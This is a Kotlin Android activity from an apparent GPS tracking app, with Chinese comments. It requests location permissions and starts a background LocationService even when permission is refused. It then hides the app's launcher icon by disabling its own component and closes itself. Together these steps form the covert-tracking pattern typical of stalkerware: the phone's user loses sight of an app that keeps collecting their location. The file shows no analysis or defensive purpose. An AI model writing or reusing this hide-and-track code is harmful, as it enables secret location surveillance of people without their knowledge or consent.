package com.gps.gps

import android.Manifest
import android.app.Activity
import android.content.ComponentName
import android.content.Intent
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.util.Log
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat

class InitActivity : Activity() {
    companion object {
        private const val PERMISSION_REQUEST_CODE = 1001
        private const val FINISH_DELAY = 1000L
    }

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        checkAndRequestPermissions()
    }

    private fun checkAndRequestPermissions() {
        val permissions = arrayOf(
            Manifest.permission.ACCESS_FINE_LOCATION,
            Manifest.permission.ACCESS_COARSE_LOCATION
        )
        
        val notGrantedPermissions = permissions.filter {
            ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
        }
        
        if (notGrantedPermissions.isNotEmpty()) {
            // 请求未授予的权限
            ActivityCompat.requestPermissions(
                this,
                notGrantedPermissions.toTypedArray(),
                PERMISSION_REQUEST_CODE
            )
        } else {
            // 已有权限，直接启动服务
            startServiceAndFinish()
        }
    }

    override fun onRequestPermissionsResult(
        requestCode: Int,
        permissions: Array<out String>,
        grantResults: IntArray
    ) {
        if (requestCode == PERMISSION_REQUEST_CODE) {
            val allGranted = grantResults.all { it == PackageManager.PERMISSION_GRANTED }
            if (allGranted) {
                Log.d("InitActivity", "所有权限已授予")
            } else {
                Log.d("InitActivity", "部分权限未授予")
            }
            // 无论权限是否全部授予，都启动服务
            startServiceAndFinish()
        }
    }

    private fun startServiceAndFinish() {
        // 等待一下确保权限生效
        Handler(Looper.getMainLooper()).postDelayed({
            // 启动服务
            val serviceIntent = Intent(this, LocationService::class.java)
            try {
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                    startForegroundService(serviceIntent)
                } else {
                    startService(serviceIntent)
                }
                Log.d("InitActivity", "服务启动成功")
            } catch (e: Exception) {
                Log.e("InitActivity", "服务启动失败", e)
            }

            // 隐藏应用图标
            hideAppIcon()

            // 延迟关闭Activity
            Handler(Looper.getMainLooper()).postDelayed({
                finish()
                Log.d("InitActivity", "Activity已关闭")
            }, FINISH_DELAY)
        }, 500) // 等待500ms确保权限生效
    }

    private fun hideAppIcon() {
        try {
            val packageManager = packageManager
            val componentName = ComponentName(this, InitActivity::class.java)
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
            Log.d("InitActivity", "应用图标已隐藏")
        } catch (e: Exception) {
            Log.e("InitActivity", "隐藏图标失败", e)
        }
    }
} 